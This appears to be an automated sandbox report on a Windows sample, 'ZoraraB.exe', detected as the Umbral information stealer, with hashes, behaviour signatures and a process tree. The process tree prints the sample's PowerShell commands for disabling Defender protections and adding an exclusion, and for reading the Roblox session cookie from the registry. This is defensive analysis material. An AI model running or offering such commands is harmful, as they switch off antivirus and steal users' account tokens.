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01/02/2025, 12:54

250201-p46mxavnak 10

01/02/2025, 12:53

250201-p4nr4avmgl 10

Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    01/02/2025, 12:54

General

  • Target

    Zorara-v2.4.34-x64/ZoraraB.exe

  • Size

    231KB

  • MD5

    320488aae7f6f97979d69c0e8c364f2e

  • SHA1

    c2f7d9466e4c590d63d4ccb2d12bf3b7c8e56a65

  • SHA256

    2b5b5c595e2abb3fd2f95aa17727de6340a3e921b310c7f9499f0fb31375e51e

  • SHA512

    ff76790d552d708bc39859ae1f542de75662857e179acd8fa4d063ca30fb4e22ee3038aa0c543721a5d03b3c96eeda6843c81b05e7ffa65d80470445ba53ad5e

  • SSDEEP

    6144:RloZMLrIkd8g+EtXHkv/iD4NQEmPlO2Z1c1niinVwb8e1mni:joZ0L+EP8NQEmPlO2Z1c1niinKd

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Zorara-v2.4.34-x64\ZoraraB.exe
    "C:\Users\Admin\AppData\Local\Temp\Zorara-v2.4.34-x64\ZoraraB.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Zorara-v2.4.34-x64\ZoraraB.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2612
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2112
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:1812
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2620
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2652

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1C2UDCTQ53I8UQWLH3MW.temp

        Filesize

        7KB

        MD5

        7f807e8a82c12170b271fddff14562e8

        SHA1

        e78dceadd3daf250de943f30f01424926e803c58

        SHA256

        c59d41f03bd101fa540f4892b1c0d6f29340323a65103b9e0f273e2b83153ea0

        SHA512

        42a80e176b9c5726cf22550639a09d5bb87fb8334efc09c6da790af9ed6ccbdc85a944195d750fc2800c91355881e1c6766987b8665d75bba7fb6dca3dfa61ce

      • memory/2620-43-0x00000000027E0000-0x00000000027E8000-memory.dmp

        Filesize

        32KB

      • memory/2656-14-0x000000001B6B0000-0x000000001B992000-memory.dmp

        Filesize

        2.9MB

      • memory/2656-15-0x0000000002240000-0x0000000002248000-memory.dmp

        Filesize

        32KB

      • memory/2700-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

        Filesize

        2.9MB

      • memory/2700-8-0x00000000026F0000-0x00000000026F8000-memory.dmp

        Filesize

        32KB

      • memory/2988-0-0x000007FEF57E3000-0x000007FEF57E4000-memory.dmp

        Filesize

        4KB

      • memory/2988-1-0x0000000001320000-0x0000000001360000-memory.dmp

        Filesize

        256KB

      • memory/2988-2-0x000007FEF57E0000-0x000007FEF61CC000-memory.dmp

        Filesize

        9.9MB

      • memory/2988-47-0x000007FEF57E0000-0x000007FEF61CC000-memory.dmp

        Filesize

        9.9MB